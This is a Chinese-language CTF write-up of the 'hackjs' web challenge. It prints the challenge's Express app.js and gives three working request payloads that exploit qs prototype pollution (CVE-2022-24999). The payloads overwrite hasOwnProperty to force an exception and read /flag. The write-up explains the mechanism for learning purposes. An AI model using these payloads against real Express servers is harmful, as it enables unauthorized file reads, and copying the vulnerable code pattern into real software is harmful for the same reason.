INFO
白天坐牢XCTF,晚上这个比赛快结束的时候看了看一个web题记录一下
Web-hackjs
题目描述
考点
- CVE-2022-24999
分析
开题看到一个输入框
下载附件得到
app.js如下
const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
extended: true
}));
app.use(bodyParser.json());
app.post('/plz', (req, res) => {
venom = req.body.venom
if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
try {
if(venom.hasOwnProperty("text")){
res.send(venom.text)
}else{
res.send("no text detected")
}
} catch {
if (venom.text=="flag") {
let flag=fs.readFileSync("/flag");
res.send("Congratulations:"+flag);
} else {
res.end("Nothing here!")
}
}
} else {
res.end("happy game");
}
})
app.get('/',
function(req, res, next) {
res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form> ');
});
app.listen(80, () => {
console.log(`listening at port 80`)
})
代审很简单,就是要触发异常
payload,三种均可
1. venom[__proto__][text]=flag&venom[welcome]=159753&venom[hasOwnProperty]=starven
2. venom[__proto__][welcome]=159753&venom[text]=flag&venom[hasOwnProperty]=starven
3. venom[__proto__][hasOwnProperty]=starven&venom[welcome]=159753&venom[text]=flag
解释
1.
venom[__proto__][welcome]=159753
试图修改venom
对象的原型object.prototype
Object.prototype
是 JavaScript 中所有对象的原型,它包含了一些常用的属性和方法,例如 toString()
、hasOwnProperty()
等
通过设置venom[__proto__][welcome]=159753
,它实际上是在所有对象的原型上设置了welcome
属性的值为159753
,因为__proto__
是指向对象原型的引用
- 如何抛出异常(关键部分) //覆盖hasOwnProperty为任意字符即可抛出异常
**venom[hasOwnProperty]=starven
**:这部分将venom
对象的hasOwnProperty
属性设置为字符串
正常情况下,hasOwnProperty
是一个继承自Object.prototype
的方法,用于检查对象是否拥有特定的自有属性
通过将它设置为一个字符串,venom.hasOwnProperty("text")
的调用将会失败,因为hasOwnProperty
已不再是一个函数。所以进入catch
块
venom[text]=flag
没啥说的根据代审要求来的
学习:[[CVE-2022-24999-Express 中的qs模块存在原型污染漏洞]]
express@(-∞, 4.17.3)中依赖的qs模块存在数组原型污染漏洞
问题记录:我在 本地搭环境的时候没有注意express版本高了,当我在源码加了打印keys数量的时候打出为3所以没打通
然后我改了一下express版本为 题目环境,成功利用
Comments | NOTHING